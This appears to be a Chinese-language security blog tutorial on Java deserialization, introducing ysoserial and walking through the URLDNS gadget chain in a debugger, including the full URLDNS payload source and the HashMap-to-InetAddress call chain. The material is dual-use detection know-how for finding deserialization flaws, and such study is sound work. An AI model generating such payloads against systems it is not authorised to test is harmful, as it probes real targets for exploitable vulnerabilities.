0x00 什么是序列化和反序列化

序列化就是将对象转换为字节序列的过程, 反序列化就是把字节序列恢复为对象的过程。
将对象序列化以后可以在一定程度上保证对象的完整性和可传递性,便于在网络上传输或者保存在本地文件中。序列化机制使得对象可以脱离程序的运行而独立存在。

为什么要使用序列化和反序列化 ?

  1. 对象序列化可以实现分布式对象
  2. java对象序列化不仅保留一个对象的数据,还会递归保存对象引用的每个对象的数据
  3. 序列化可以将内存中的类写入文件或数据库中
  4. 对象、文件、数据拥有多种不同的文件格式,很难统一传输和保存

0x01 ysoserial

在提到反序列化漏洞利用链前,我们就跳不过一个里程碑式的工具。ysoserial,它是2015年由Gabriel Lawrence (@gebl)和ChrisFrohoff (@frohoff)这两位大神在AppSecCali上放出的一个工具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令

什么是利用链?

利用链也叫“gadget chains”,通常称为gadget,可以理解为一种方法,从漏洞触发位置开始到执行命令的位置结束,一种生成poc的方法。

0x02 URLDNS

URLDNS是ysoserial中一个利用链的名字,准确的来说,它并不能称之为一个利用链;因为它的参数不是一个可以利用的命令,而仅为一个URL,其触发的结果也不是命令执行,而是一次DNS请求

虽然这个利用链实际上是不可利用的,但因为其有如下的优点,非常适合我们在检测反序列化漏洞时使用:

  • 使用java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能通过DNS请求得知是否存在反序列化漏洞

ysoserial中的URLDNS代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

0x03 URLDNS利用链分析

3.1 配置IDEA环境

去github上将yso源码下载下来,ysoserial。然后用IDEA打开,因为他是maven打包的项目,在打开后IDEA会自动根据配置下载依赖。

然后我们找到URLDNS类,并配置Debug Configurations
65c838a1da408aa9940fb0c60fbdf119.png

修改Program arguments,加上运行时的命令行参数即可( http://xxx.xxx.com)
0cce795f5ef090d273d3bb89ab918a69.png

3.2 开始调试

因为触发反序列化的⽅法是 readObject ,又因为Java开发者(包括Java内置库的开发者)经常会在这⾥⾯写⾃⼰的逻辑,所以导致可以构造利⽤链。

我们直接看HashMap中的readObject方法,发现他在如下图中位置将HashMap的键名计算了hash
https://img2020.cnblogs.com/blog/2246609/202103/2246609-20210309170927253-446090948.png

在这个位置下个断点,对这个hash函数进行调试并跟进,这是调用栈:
f80468bebfec743d13041977b572db56.png

hash方法调用了key的hashCode()方法:
a1caebfc2f5446329be1ac8c4cfd9c2c.png

然后再看看hashCode方法:
913bd121ad748a1829709c9f6b637330.png

此时,handlerURLStreamhandler对象,在继续跟进hashCode方法
d782ecda1d265f94f4447fac3ca43eb4.png

这⾥有调⽤getHostAddress⽅法,继续跟进:
81115b8d245412970c4b638a04609f0a.png

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。到这⾥就不必要再跟了。 我们⽤⼀些第三⽅的反连平台就可以查看到这次请求,证明的确存在反序列化漏洞:
170ab84b52cacbb5e05c31fddb6df923.png

到这里,整个URLDNS的Gadget就出来了

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

0x04 参考文章

Java安全漫谈